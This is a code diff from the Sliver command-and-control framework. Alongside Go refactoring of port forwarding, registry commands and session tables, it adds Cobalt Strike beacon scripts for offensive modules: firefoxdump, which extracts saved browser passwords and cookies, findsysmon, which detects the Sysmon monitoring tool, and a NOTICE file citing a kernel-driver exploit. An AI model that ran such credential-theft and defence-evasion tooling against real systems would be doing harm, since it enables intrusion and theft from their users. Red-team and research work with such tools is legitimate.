of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. We also recommend that a
|
||||
file or class name and description of purpose be included on the
|
||||
same "printed page" as the copyright notice for easier
|
||||
identification within third-party archives.
|
||||
|
||||
Copyright [yyyy] [name of copyright owner]
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,26 @@
|
||||
bof_collection
|
||||
Copyright 2026 Pim Beune
|
||||
|
||||
This product includes a modified copy of beacon.h derived from the
|
||||
Cobalt-Strike/bof_template project, which is licensed under the Apache License,
|
||||
Version 2.0. The local copy has been updated from the upstream template and is
|
||||
distributed under the same license.
|
||||
|
||||
Armory packaging and integration changes were made by Sliver Armory
|
||||
contributors.
|
||||
|
||||
Research and reference acknowledgements retained from the source project:
|
||||
|
||||
- Outflank: Remote Registry Protocol information-disclosure techniques
|
||||
(https://www.youtube.com/watch?v=MxDq552Di3Y) and remote named-pipe
|
||||
enumeration research
|
||||
(https://outflank.nl/blog/2023/10/19/listing-remote-named-pipes/).
|
||||
- Julian Peña: CVE-2019-16098 exploitation write-up referenced by the driver
|
||||
proof of concept
|
||||
(https://julian-pena.com/2025-09-29-exploiting-drivers-1/).
|
||||
- Eric Esquivel: ntoskrnl function-offset technique acknowledged in the
|
||||
CVE-2019-16098 source.
|
||||
|
||||
These research acknowledgements identify referenced techniques and materials;
|
||||
they do not assert that the named researchers authored this collection's code
|
||||
or that they endorse this package.
|
||||
@@ -0,0 +1,32 @@
|
||||
# author: Pim Beune
|
||||
|
||||
beacon_command_register(
|
||||
"cat", "Prints content of a file",
|
||||
"INFO: Prints content of a file.\n\n" .
|
||||
"FEATURES: UTF-8 and UTF-16 (LE/BE) compatible, with or without BOM\n" .
|
||||
" Refuses files larger than 128 KB\n" .
|
||||
" Sanitizes output: strips control characters and invalid\n" .
|
||||
" byte sequences (replaced with '?'), keeps tabs/newlines\n" .
|
||||
" Paths do not need to be quoted or backslash-escaped\n\n" .
|
||||
"EXAMPLES: cat C:\\Users\\User\\Desktop\\flag.txt\n" .
|
||||
" cat C:\\Program Files\\Something\\notes.txt\n" .
|
||||
" cat \\\\server\\share\\folder\\file.txt");
|
||||
|
||||
alias cat {
|
||||
$bid = $1;
|
||||
$file = join(" ", sublist(@_, 1));
|
||||
|
||||
if ($file eq "") {
|
||||
berror($bid, "Please specify a file path.");
|
||||
return;
|
||||
}
|
||||
|
||||
# Read in the right BOF file
|
||||
$handle = openf(script_resource("dist/cat." . barch($bid) . ".o"));
|
||||
$data = readb($handle, -1);
|
||||
closef($handle);
|
||||
|
||||
# Pack our arguments
|
||||
$args = bof_pack($bid, "z", $file);
|
||||
beacon_inline_execute($bid, $data, "go", $args);
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
# Firefox Dump BOF - Extract Firefox passwords and cookies
|
||||
# Standalone version for Cobalt Strike
|
||||
|
||||
beacon_command_register(
|
||||
"firefoxdump",
|
||||
"Extract Firefox secrets (cookies, passwords) from Firefox profile.",
|
||||
"INFO:\n" .
|
||||
"Extracts browser secrets from Firefox browser.\n" .
|
||||
"This BOF reads Firefox profile files (key4.db, logins.json, cookies.sqlite).\n\n" .
|
||||
"SUPPORTED DATA:\n" .
|
||||
" - Saved passwords (from logins.json - decrypted using NSS)\n" .
|
||||
" - Cookies (from cookies.sqlite)\n\n" .
|
||||
"USAGE:\n" .
|
||||
" firefoxdump - Extract passwords only (default)\n" .
|
||||
" firefoxdump /all - Extract passwords and cookies\n" .
|
||||
" firefoxdump /cookies - Extract cookies only\n\n" .
|
||||
"OUTPUT:\n" .
|
||||
"Displays extracted passwords (cleartext) and/or cookies.\n" .
|
||||
"Passwords are decrypted using NSS libraries from Firefox installation.\n\n" .
|
||||
"NOTE:\n" .
|
||||
"Requires access to the user's Firefox profile directory.\n" .
|
||||
"Works best when run from the same user context as Firefox.\n" .
|
||||
"Requires Firefox to be installed (for NSS libraries).\n"
|
||||
);
|
||||
|
||||
alias firefoxdump {
|
||||
local('$bid $barch $handle $bof $option $data');
|
||||
$bid = $1;
|
||||
$barch = barch($bid);
|
||||
|
||||
# Extract option from command line
|
||||
if (size(@_) > 1) {
|
||||
$option = @_[1];
|
||||
} else {
|
||||
$option = "";
|
||||
}
|
||||
|
||||
# Read the BOF file
|
||||
$handle = openf(script_resource("bin/firefoxdump." . $barch . ".o"));
|
||||
$bof = readb($handle, -1);
|
||||
closef($handle);
|
||||
|
||||
if (strlen($bof) == 0) {
|
||||
berror($bid, "Could not read firefoxdump BOF file");
|
||||
return;
|
||||
}
|
||||
|
||||
# Pack option for BOF
|
||||
$data = bof_pack($bid, "z", $option);
|
||||
btask($bid, "Extracting Firefox secrets");
|
||||
beacon_inline_execute($bid, $bof, "go", $data);
|
||||
}
|
||||
+1
-1
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2020 awgh
|
||||
Copyright (c) 2023 REDMED-X
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
@@ -0,0 +1,22 @@
|
||||
# author REDMED-X
|
||||
|
||||
beacon_command_register(
|
||||
"finddotnet", "Find processes that most likely have .NET loaded.",
|
||||
"INFO:\nFind processes that most likely have .NET loaded by searching for the section name: \BaseNamedObjects\Cor_Private_IPCBlock(_v4)_<ProcessId>\n\n" .
|
||||
"USAGE:\nfinddotnet\n\n");
|
||||
|
||||
|
||||
alias finddotnet {
|
||||
$bid = $1;
|
||||
|
||||
# Read in the right BOF file
|
||||
$handle = openf(script_resource("finddotnet.o"));
|
||||
$data = readb($handle, -1);
|
||||
closef($handle);
|
||||
|
||||
blog($bid, "Tasked to search for processes that have .NET loaded..");
|
||||
|
||||
beacon_inline_execute($bid, $data, "go", $null);
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,32 @@
|
||||
# author REDMED-X
|
||||
|
||||
beacon_command_register(
|
||||
"findsysmon", "Verify if Sysmon is running.\n",
|
||||
"INFO:\nVerify if Sysmon is running. This can be done by checking the registry or by enumerating Minifilter drivers and search for one that is associated with Sysmon.\n\nOPTIONS:\n[reg]: search the registry to check if Sysmon is present on the system and return the Sysmon service PID if active.\n[driver]: list all the Minifilter drivers on the system to check manually (requires elevated privileges).\n\n" .
|
||||
"USAGE:\nfindsysmon <reg | driver>\n\n");
|
||||
|
||||
|
||||
alias findsysmon {
|
||||
$bid = $1;
|
||||
$action = $2;
|
||||
|
||||
if ($action eq "reg" || $action eq "driver") {
|
||||
}
|
||||
else {
|
||||
berror($bid, "Please specify one of the following enumeration options: reg | driver\n");
|
||||
return;
|
||||
}
|
||||
|
||||
# Read in the right BOF file
|
||||
$handle = openf(script_resource("findsysmon.o"));
|
||||
$data = readb($handle, -1);
|
||||
closef($handle);
|
||||
|
||||
# Pack our arguments
|
||||
$arg_data = bof_pack($bid, "z", $action);
|
||||
|
||||
blog($bid, "Tasked to find Sysmon..");
|
||||
beacon_inline_execute($bid, $data, "go", $arg_data);
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,112 @@
|
||||
//go:build client
|
||||
|
||||
package opfor
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
opforengine "github.com/sliverarmory/opfor"
|
||||
)
|
||||
|
||||
// promptUI is deliberately small and injectable. The production adapter uses
|
||||
// Sliver's existing Bubble Tea/Huh forms; tests can exercise callback behavior
|
||||
// without taking over the terminal.
|
||||
type promptUI interface {
|
||||
Confirm(title string, defaultValue bool) (bool, error)
|
||||
Input(title, defaultValue string) (string, error)
|
||||
}
|
||||
|
||||
type formsPromptUI struct{}
|
||||
|
||||
func (formsPromptUI) Confirm(title string, defaultValue bool) (bool, error) {
|
||||
value := defaultValue
|
||||
err := forms.Confirm(title, &value)
|
||||
return value, err
|
||||
}
|
||||
|
||||
func (formsPromptUI) Input(title, defaultValue string) (string, error) {
|
||||
value := defaultValue
|
||||
err := forms.Input(title, &value)
|
||||
return value, err
|
||||
}
|
||||
|
||||
func (manager *Manager) presentPrompt(
|
||||
ctx context.Context,
|
||||
presentation opforengine.AggressorPromptPresentation,
|
||||
responder opforengine.AggressorPromptResponder,
|
||||
) error {
|
||||
if responder == nil {
|
||||
return errorsPromptResponderNil()
|
||||
}
|
||||
if err := ctx.Err(); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
switch presentation.Kind {
|
||||
case opforengine.AggressorPromptConfirm:
|
||||
title := joinPromptTitle(presentation.Title, presentation.Text)
|
||||
answer, err := manager.confirmPrompt(title, false)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if !answer {
|
||||
return responder.Dismiss()
|
||||
}
|
||||
_, err = responder.Accept(ctx)
|
||||
return err
|
||||
|
||||
case opforengine.AggressorPromptText,
|
||||
opforengine.AggressorPromptDirectoryOpen,
|
||||
opforengine.AggressorPromptFileOpen,
|
||||
opforengine.AggressorPromptFileSave:
|
||||
title := presentation.Text
|
||||
if title == "" {
|
||||
title = presentation.Title
|
||||
}
|
||||
if title == "" {
|
||||
title = presentation.Name
|
||||
}
|
||||
defaultValue := ""
|
||||
if presentation.HasDefault {
|
||||
defaultValue = presentation.Default.String()
|
||||
}
|
||||
answer, err := manager.inputPrompt(title, defaultValue)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = responder.Accept(ctx, opforengine.String(answer))
|
||||
return err
|
||||
|
||||
default:
|
||||
return fmt.Errorf("opfor: unsupported prompt kind %q", presentation.Kind)
|
||||
}
|
||||
}
|
||||
|
||||
func (manager *Manager) confirmPrompt(title string, defaultValue bool) (bool, error) {
|
||||
manager.promptMu.Lock()
|
||||
defer manager.promptMu.Unlock()
|
||||
return manager.ui.Confirm(title, defaultValue)
|
||||
}
|
||||
|
||||
func (manager *Manager) inputPrompt(title, defaultValue string) (string, error) {
|
||||
manager.promptMu.Lock()
|
||||
defer manager.promptMu.Unlock()
|
||||
return manager.ui.Input(title, defaultValue)
|
||||
}
|
||||
|
||||
func joinPromptTitle(parts ...string) string {
|
||||
nonempty := make([]string, 0, len(parts))
|
||||
for _, part := range parts {
|
||||
if part = strings.TrimSpace(part); part != "" {
|
||||
nonempty = append(nonempty, part)
|
||||
}
|
||||
}
|
||||
return strings.Join(nonempty, ": ")
|
||||
}
|
||||
|
||||
func errorsPromptResponderNil() error {
|
||||
return fmt.Errorf("opfor: prompt responder is nil")
|
||||
}
|
||||
@@ -21,7 +21,6 @@ package portfwd
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"net"
|
||||
"regexp"
|
||||
"time"
|
||||
|
||||
@@ -50,14 +49,10 @@ func PortfwdAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
|
||||
con.PrintErrorf("Must specify a remote target host:port\n")
|
||||
return
|
||||
}
|
||||
remoteHost, remotePort, err := net.SplitHostPort(remoteAddr)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to parse remote target %s\n", err)
|
||||
if err := validatePortfwdRemoteAddress(remoteAddr); err != nil {
|
||||
con.PrintErrorf("Failed to parse remote target: %s\n", err)
|
||||
return
|
||||
}
|
||||
if remotePort == "3389" {
|
||||
con.PrintWarnf("RDP is generally broken over tunneled portfwds, we recommend using WireGuard portfwds\n")
|
||||
}
|
||||
bindAddr, _ := cmd.Flags().GetString("bind")
|
||||
if bindAddr == "" {
|
||||
con.PrintErrorf("Must specify a bind target host:port (e.g. 127.0.0.1:8000)")
|
||||
@@ -88,14 +83,25 @@ func PortfwdAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
|
||||
DialTimeout: 30 * time.Second,
|
||||
}
|
||||
tcpProxy.AddRoute(bindAddr, channelProxy)
|
||||
if err := tcpProxy.Start(); err != nil {
|
||||
channelProxy.Stop()
|
||||
_ = tcpProxy.Close()
|
||||
con.PrintErrorf("Failed to start port forward listener: %s\n", err)
|
||||
return
|
||||
}
|
||||
core.Portfwds.Add(tcpProxy, channelProxy)
|
||||
|
||||
go func() {
|
||||
err := tcpProxy.Run()
|
||||
err := tcpProxy.Wait()
|
||||
if err != nil {
|
||||
log.Printf("Proxy error %s", err)
|
||||
}
|
||||
}()
|
||||
|
||||
con.PrintInfof("Port forwarding %s -> %s:%s\n", bindAddr, remoteHost, remotePort)
|
||||
con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
|
||||
}
|
||||
|
||||
func validatePortfwdRemoteAddress(remoteAddr string) error {
|
||||
_, _, err := (&core.ChannelProxy{RemoteAddr: remoteAddr}).ValidatedHostPort()
|
||||
return err
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
package portfwd
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestValidatePortfwdRemoteAddress(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
address string
|
||||
valid bool
|
||||
}{
|
||||
{name: "hostname RDP", address: "windows.example:3389", valid: true},
|
||||
{name: "IPv4", address: "192.0.2.10:443", valid: true},
|
||||
{name: "IPv6", address: "[2001:db8::10]:8443", valid: true},
|
||||
{name: "missing port", address: "target.example", valid: false},
|
||||
{name: "empty port", address: "target.example:", valid: false},
|
||||
{name: "empty host", address: ":3389", valid: false},
|
||||
{name: "zero port", address: "target.example:0", valid: false},
|
||||
{name: "out of range port", address: "target.example:65536", valid: false},
|
||||
{name: "service name", address: "target.example:https", valid: false},
|
||||
{name: "unbracketed IPv6", address: "2001:db8::10:8443", valid: false},
|
||||
{name: "hostname with space", address: "bad host:80", valid: false},
|
||||
{name: "hostname with tab", address: "bad\thost:80", valid: false},
|
||||
{name: "hostname with newline", address: "bad\nhost:80", valid: false},
|
||||
{name: "IPv6 zone with space", address: "[fe80::1%bad zone]:80", valid: false},
|
||||
}
|
||||
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
err := validatePortfwdRemoteAddress(test.address)
|
||||
if test.valid && err != nil {
|
||||
t.Fatalf("validatePortfwdRemoteAddress(%q): %v", test.address, err)
|
||||
}
|
||||
if !test.valid && err == nil {
|
||||
t.Fatalf("validatePortfwdRemoteAddress(%q) returned nil", test.address)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -58,17 +58,11 @@ func RegCreateKeyCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
if strings.Contains(regPath, "/") {
|
||||
regPath = strings.ReplaceAll(regPath, "/", "\\")
|
||||
}
|
||||
pathBaseIdx := strings.LastIndex(regPath, `\`)
|
||||
if pathBaseIdx < 0 {
|
||||
finalPath, key, ok := strings.CutLast(regPath, `\`)
|
||||
if !ok {
|
||||
con.PrintErrorf("invalid path: %s", regPath)
|
||||
return
|
||||
}
|
||||
if len(regPath) < pathBaseIdx+1 {
|
||||
con.PrintErrorf("invalid path: %s", regPath)
|
||||
return
|
||||
}
|
||||
finalPath := regPath[:pathBaseIdx]
|
||||
key := regPath[pathBaseIdx+1:]
|
||||
|
||||
createKey, err := con.Rpc.RegistryCreateKey(context.Background(), &sliverpb.RegistryCreateKeyReq{
|
||||
Hive: hive,
|
||||
|
||||
@@ -58,17 +58,11 @@ func RegDeleteKeyCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
if strings.Contains(regPath, "/") {
|
||||
regPath = strings.ReplaceAll(regPath, "/", "\\")
|
||||
}
|
||||
pathBaseIdx := strings.LastIndex(regPath, `\`)
|
||||
if pathBaseIdx < 0 {
|
||||
finalPath, key, ok := strings.CutLast(regPath, `\`)
|
||||
if !ok {
|
||||
con.PrintErrorf("invalid path: %s", regPath)
|
||||
return
|
||||
}
|
||||
if len(regPath) < pathBaseIdx+1 {
|
||||
con.PrintErrorf("invalid path: %s", regPath)
|
||||
return
|
||||
}
|
||||
finalPath := regPath[:pathBaseIdx]
|
||||
key := regPath[pathBaseIdx+1:]
|
||||
|
||||
deleteKey, err := con.Rpc.RegistryDeleteKey(context.Background(), &sliverpb.RegistryDeleteKeyReq{
|
||||
Hive: hive,
|
||||
|
||||
@@ -111,17 +111,12 @@ func RegReadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
if strings.Contains(regPath, "/") {
|
||||
regPath = strings.ReplaceAll(regPath, "/", "\\")
|
||||
}
|
||||
pathBaseIdx := strings.LastIndex(regPath, `\`)
|
||||
if pathBaseIdx < 0 {
|
||||
var ok bool
|
||||
finalPath, key, ok = strings.CutLast(regPath, `\`)
|
||||
if !ok {
|
||||
con.PrintErrorf("invalid path: %s", regPath)
|
||||
return
|
||||
}
|
||||
if len(regPath) < pathBaseIdx+1 {
|
||||
con.PrintErrorf("invalid path: %s", regPath)
|
||||
return
|
||||
}
|
||||
finalPath = regPath[:pathBaseIdx]
|
||||
key = regPath[pathBaseIdx+1:]
|
||||
|
||||
regRead, err := con.Rpc.RegistryRead(context.Background(), &sliverpb.RegistryReadReq{
|
||||
Hive: hive,
|
||||
|
||||
@@ -76,17 +76,11 @@ func RegWriteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
if strings.Contains(regPath, "/") {
|
||||
regPath = strings.ReplaceAll(regPath, "/", "\\")
|
||||
}
|
||||
pathBaseIdx := strings.LastIndex(regPath, `\`)
|
||||
if pathBaseIdx < 0 {
|
||||
finalPath, key, ok := strings.CutLast(regPath, `\`)
|
||||
if !ok {
|
||||
con.PrintErrorf("invalid path: %s", regPath)
|
||||
return
|
||||
}
|
||||
if len(regPath) < pathBaseIdx+1 {
|
||||
con.PrintErrorf("invalid path: %s", regPath)
|
||||
return
|
||||
}
|
||||
finalPath := regPath[:pathBaseIdx]
|
||||
key := regPath[pathBaseIdx+1:]
|
||||
switch valType {
|
||||
case sliverpb.RegistryTypeBinary:
|
||||
var (
|
||||
|
||||
@@ -45,6 +45,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/mcp"
|
||||
"github.com/bishopfox/sliver/client/command/monitor"
|
||||
"github.com/bishopfox/sliver/client/command/operators"
|
||||
"github.com/bishopfox/sliver/client/command/opfor"
|
||||
"github.com/bishopfox/sliver/client/command/reaction"
|
||||
"github.com/bishopfox/sliver/client/command/serverctx"
|
||||
"github.com/bishopfox/sliver/client/command/sessions"
|
||||
@@ -101,6 +102,7 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
|
||||
bind(consts.GenericHelpGroup,
|
||||
exit.Command,
|
||||
ai.ServerCommands,
|
||||
opfor.ServerCommands,
|
||||
docscmd.ServerCommands,
|
||||
serverctx.Commands,
|
||||
licenses.Commands,
|
||||
|
||||
@@ -125,8 +125,8 @@ func filterCompletionValues(values []string, prefix string) []string {
|
||||
filtered := make([]string, 0, len(values))
|
||||
for _, value := range values {
|
||||
candidate := value
|
||||
if tab := strings.IndexByte(value, '\t'); tab >= 0 {
|
||||
candidate = value[:tab]
|
||||
if before, _, ok := strings.Cut(value, "\t"); ok {
|
||||
candidate = before
|
||||
}
|
||||
if strings.HasPrefix(candidate, prefix) {
|
||||
filtered = append(filtered, value)
|
||||
|
||||
@@ -27,6 +27,7 @@ import (
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/kill"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/command/targettable"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
@@ -131,51 +132,29 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
|
||||
if err != nil {
|
||||
width = 999
|
||||
}
|
||||
tw := renderSessions(sessions, filter, filterRegex, con, width, time.Now())
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
wideTermWidth := con.Settings.SmallTermWidth < width
|
||||
|
||||
windowsSessionInList := false
|
||||
func renderSessions(sessions map[string]*clientpb.Session, filter string, filterRegex *regexp.Regexp, con *console.SliverClient, width int, now time.Time) table.Writer {
|
||||
hasIntegrity := false
|
||||
for _, session := range sessions {
|
||||
if session.OS == "windows" {
|
||||
windowsSessionInList = true
|
||||
hasIntegrity = true
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if wideTermWidth {
|
||||
if windowsSessionInList {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
"Transport",
|
||||
"Remote Address",
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Process (PID)",
|
||||
"Integrity",
|
||||
"Operating System",
|
||||
"Locale",
|
||||
"Last Message",
|
||||
"Health",
|
||||
})
|
||||
} else {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
"Transport",
|
||||
"Remote Address",
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Process (PID)",
|
||||
"Operating System",
|
||||
"Locale",
|
||||
"Last Message",
|
||||
"Health",
|
||||
})
|
||||
}
|
||||
return targettable.Fit(width, hasIntegrity, func(layout targettable.Layout) table.Writer {
|
||||
return buildSessionsTable(sessions, filter, filterRegex, con, layout, hasIntegrity, now)
|
||||
})
|
||||
}
|
||||
|
||||
} else {
|
||||
func buildSessionsTable(sessions map[string]*clientpb.Session, filter string, filterRegex *regexp.Regexp, con *console.SliverClient, layout targettable.Layout, hasIntegrity bool, now time.Time) table.Writer {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
|
||||
if layout.Compact {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Transport",
|
||||
@@ -185,31 +164,98 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
|
||||
"Operating System",
|
||||
"Health",
|
||||
})
|
||||
} else {
|
||||
header := table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
"Transport",
|
||||
"Remote Address",
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Process (PID)",
|
||||
}
|
||||
if hasIntegrity && layout.IncludeIntegrity {
|
||||
header = append(header, "Integrity")
|
||||
}
|
||||
header = append(header, "Operating System")
|
||||
if layout.IncludeLocale {
|
||||
header = append(header, "Locale")
|
||||
}
|
||||
header = append(header, "Last Message", "Health")
|
||||
tw.AppendHeader(header)
|
||||
}
|
||||
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "ID", Mode: table.Asc},
|
||||
})
|
||||
|
||||
for _, session := range sessions {
|
||||
style := console.StyleNormal
|
||||
if con.ActiveTarget.GetSession() != nil && con.ActiveTarget.GetSession().ID == session.ID {
|
||||
style = console.StyleGreen
|
||||
activeSessionID := ""
|
||||
if con.ActiveTarget != nil {
|
||||
if activeSession := con.ActiveTarget.GetSession(); activeSession != nil {
|
||||
activeSessionID = activeSession.ID
|
||||
}
|
||||
var SessionHealth string
|
||||
}
|
||||
|
||||
for _, session := range sessions {
|
||||
username := strings.TrimPrefix(session.Username, session.Hostname+"\\") // For non-AD Windows users
|
||||
lastMessage := formatRelativeTime(time.Unix(session.LastCheckin, 0), now)
|
||||
health := "[ALIVE]"
|
||||
if session.IsDead {
|
||||
SessionHealth = console.StyleBoldRed.Render("[DEAD]")
|
||||
} else {
|
||||
SessionHealth = console.StyleBoldGreen.Render("[ALIVE]")
|
||||
health = "[DEAD]"
|
||||
}
|
||||
burned := ""
|
||||
if session.Burned {
|
||||
burned = "🔥"
|
||||
}
|
||||
username := strings.TrimPrefix(session.Username, session.Hostname+"\\") // For non-AD Windows users
|
||||
canonicalEntries := []string{
|
||||
ShortSessionID(session.ID),
|
||||
session.Name,
|
||||
session.Transport,
|
||||
session.RemoteAddress,
|
||||
session.Hostname,
|
||||
username,
|
||||
fmt.Sprintf("%s (%d)", session.Filename, session.PID),
|
||||
}
|
||||
if hasIntegrity {
|
||||
canonicalEntries = append(canonicalEntries, session.Integrity)
|
||||
}
|
||||
canonicalEntries = append(canonicalEntries,
|
||||
fmt.Sprintf("%s/%s", session.OS, session.Arch),
|
||||
session.Locale,
|
||||
lastMessage,
|
||||
burned+health,
|
||||
)
|
||||
if !matchesSessionFilter(canonicalEntries, filter, filterRegex) {
|
||||
continue
|
||||
}
|
||||
|
||||
style := console.StyleNormal
|
||||
if activeSessionID == session.ID {
|
||||
style = console.StyleGreen
|
||||
}
|
||||
var sessionHealth string
|
||||
if session.IsDead {
|
||||
sessionHealth = console.StyleBoldRed.Render("[DEAD]")
|
||||
} else {
|
||||
sessionHealth = console.StyleBoldGreen.Render("[ALIVE]")
|
||||
}
|
||||
|
||||
var rowEntries []string
|
||||
if wideTermWidth {
|
||||
if layout.Compact {
|
||||
rowEntries = []string{
|
||||
style.Render(ShortSessionID(session.ID)),
|
||||
style.Render(session.Transport),
|
||||
style.Render(session.RemoteAddress),
|
||||
style.Render(session.Hostname),
|
||||
style.Render(username),
|
||||
style.Render(fmt.Sprintf("%s/%s", session.OS, session.Arch)),
|
||||
burned + sessionHealth,
|
||||
}
|
||||
} else {
|
||||
processName := session.Filename
|
||||
if layout.ProcessBasename {
|
||||
processName = targettable.ProcessName(processName)
|
||||
}
|
||||
rowEntries = []string{
|
||||
style.Render(ShortSessionID(session.ID)),
|
||||
style.Render(session.Name),
|
||||
@@ -217,57 +263,50 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
|
||||
style.Render(session.RemoteAddress),
|
||||
style.Render(session.Hostname),
|
||||
style.Render(username),
|
||||
style.Render(fmt.Sprintf("%s (%d)", session.Filename, session.PID)),
|
||||
style.Render(fmt.Sprintf("%s (%d)", processName, session.PID)),
|
||||
}
|
||||
|
||||
if windowsSessionInList {
|
||||
if hasIntegrity && layout.IncludeIntegrity {
|
||||
rowEntries = append(rowEntries, style.Render(session.Integrity))
|
||||
}
|
||||
|
||||
rowEntries = append(rowEntries, []string{
|
||||
style.Render(fmt.Sprintf("%s/%s", session.OS, session.Arch)),
|
||||
style.Render(session.Locale),
|
||||
con.FormatDateDelta(time.Unix(session.LastCheckin, 0), wideTermWidth, false),
|
||||
burned + SessionHealth,
|
||||
}...)
|
||||
} else {
|
||||
rowEntries = []string{
|
||||
style.Render(ShortSessionID(session.ID)),
|
||||
style.Render(session.Transport),
|
||||
style.Render(session.RemoteAddress),
